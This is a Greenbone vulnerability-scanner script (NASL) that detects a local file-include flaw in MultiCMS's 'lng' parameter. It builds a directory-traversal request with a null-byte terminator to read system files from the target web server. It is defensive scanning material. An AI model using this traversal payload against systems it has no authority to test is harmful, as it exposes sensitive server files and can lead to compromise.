MultiCMS 'lng' Parameter Local File Include Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103052");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-02-01 12:59:13 +0100 (Tue, 01 Feb 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");
  script_name("MultiCMS 'lng' Parameter Local File Include Vulnerability");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46062");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Reportedly, the vendor has fixed the issue. However, Symantec has not
  confirmed it. Please contact the vendor for more information.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"MultiCMS is prone to a local file-include vulnerability because it
  fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and to execute arbitrary local scripts in the context of the webserver process.
  This may allow the attacker to compromise the application and the computer. Other attacks are also possible.");

  exit(0);
}

include("misc_func.inc");
include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("host_details.inc");
include("os_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/multicms", "/mcms", "/cms", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  buf = http_get_cache(item:dir + "/index.php", port:port);
  if(!buf || buf !~ "^HTTP/1\.[01] 200" || "?lng=" >!< buf)
    continue;

  foreach file( keys( files ) ) {

    url = string(dir,"/index.php?lng=",crap(data:"../",length:3*9),files[file],"%00");

    if( http_vuln_check( port:port, url:url, pattern:file ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );